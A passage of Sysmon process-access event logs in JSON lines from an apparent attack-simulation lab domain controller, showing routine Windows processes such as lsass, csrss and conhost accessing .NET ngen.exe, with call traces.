+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6345,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:41.057\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-422D-5F2D-0000-001061360900}\r\nTargetProcessId: 3376\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:41.057","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-422D-5F2D-0000-001061360900}","TargetProcessId":"3376","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6346,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:41.072\r\nSourceProcessGUID: {90617006-422C-5F2D-0000-001026310900}\r\nSourceProcessId: 4360\r\nSourceThreadId: 3956\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\NGenTask.exe\r\nTargetProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nTargetProcessId: 4860\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.dll+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.DLL+32979|UNKNOWN(00007FF8EA445147)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:41.072","SourceProcessGUID":"{90617006-422C-5F2D-0000-001026310900}","SourceProcessId":"4360","SourceThreadId":"3956","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\NGenTask.exe","TargetProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","TargetProcessId":"4860","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.dll+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.DLL+32979|UNKNOWN(00007FF8EA445147)","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6347,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:41.072\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nTargetProcessId: 4860\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:41.072","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","TargetProcessId":"4860","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6348,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:41.072\r\nSourceProcessGUID: {90617006-422C-5F2D-0000-0010B0310900}\r\nSourceProcessId: 4708\r\nSourceThreadId: 4596\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nTargetProcessId: 4860\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:41.072","SourceProcessGUID":"{90617006-422C-5F2D-0000-0010B0310900}","SourceProcessId":"4708","SourceThreadId":"4596","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","TargetProcessId":"4860","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6349,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:41.369\r\nSourceProcessGUID: {90617006-422C-5F2D-0000-00107E300900}\r\nSourceProcessId: 4160\r\nSourceThreadId: 4420\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\NGenTask.exe\r\nTargetProcessGUID: {90617006-422D-5F2D-0000-0010384A0900}\r\nTargetProcessId: 4388\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.DLL+37d14(wow64)|UNKNOWN(000000000129404B)|UNKNOWN(0000000001293CFC)|UNKNOWN(0000000001291D03)|UNKNOWN(0000000001290B66)|UNKNOWN(000000000129054F)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll+ebf6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll+11e50(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll+179f4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll+117fd6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll+18f637(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:41.369","SourceProcessGUID":"{90617006-422C-5F2D-0000-00107E300900}","SourceProcessId":"4160","SourceThreadId":"4420","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\NGenTask.exe","TargetProcessGUID":"{90617006-422D-5F2D-0000-0010384A0900}","TargetProcessId":"4388","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.DLL+37d14(wow64)|UNKNOWN(000000000129404B)|UNKNOWN(0000000001293CFC)|UNKNOWN(0000000001291D03)|UNKNOWN(0000000001290B66)|UNKNOWN(000000000129054F)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll+ebf6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll+11e50(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll+179f4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll+117fd6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll+18f637(wow64)","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6350,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:41.369\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-422D-5F2D-0000-0010384A0900}\r\nTargetProcessId: 4388\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:41.369","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-422D-5F2D-0000-0010384A0900}","TargetProcessId":"4388","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6351,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:41.369\r\nSourceProcessGUID: {90617006-422C-5F2D-0000-0010CF310900}\r\nSourceProcessId: 604\r\nSourceThreadId: 2692\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-422D-5F2D-0000-0010384A0900}\r\nTargetProcessId: 4388\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:41.369","SourceProcessGUID":"{90617006-422C-5F2D-0000-0010CF310900}","SourceProcessId":"604","SourceThreadId":"2692","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-422D-5F2D-0000-0010384A0900}","TargetProcessId":"4388","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6352,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:41.400\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-422D-5F2D-0000-0010384A0900}\r\nTargetProcessId: 4388\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:41.400","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-422D-5F2D-0000-0010384A0900}","TargetProcessId":"4388","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6353,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:41.400\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-422D-5F2D-0000-0010384A0900}\r\nTargetProcessId: 4388\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:41.400","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-422D-5F2D-0000-0010384A0900}","TargetProcessId":"4388","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6354,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:41.447\r\nSourceProcessGUID: {90617006-422C-5F2D-0000-00107E300900}\r\nSourceProcessId: 4160\r\nSourceThreadId: 4420\r\nSourceImage: 